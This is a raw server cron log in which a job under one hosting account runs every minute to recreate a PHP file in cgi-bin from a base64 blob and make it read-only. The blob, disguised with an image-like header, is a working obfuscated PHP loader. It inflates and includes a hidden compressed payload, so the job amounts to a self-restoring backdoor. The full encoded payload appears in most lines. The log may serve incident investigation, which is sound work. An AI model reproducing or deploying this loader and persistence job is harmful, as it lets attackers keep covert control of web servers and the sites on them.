Nov 10 04:11:01 server CROND[28570]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:12:01 server CROND[29249]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:12:01 server CROND[29250]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 04:13:01 server CROND[29997]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:14:01 server CROND[30819]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:15:01 server CROND[31802]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 10 04:15:01 server CROND[31801]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:15:01 server CROND[31804]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 04:15:01 server CROND[31803]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 04:16:01 server CROND[32693]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:17:01 server CROND[1054]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:18:01 server CROND[1865]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:19:01 server CROND[2705]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:20:01 server CROND[3517]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 04:20:01 server CROND[3519]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 04:20:01 server CROND[3521]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:20:01 server CROND[3520]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 04:20:01 server CROND[3522]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 04:21:01 server CROND[4495]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:22:01 server CROND[4987]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:23:01 server CROND[5808]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
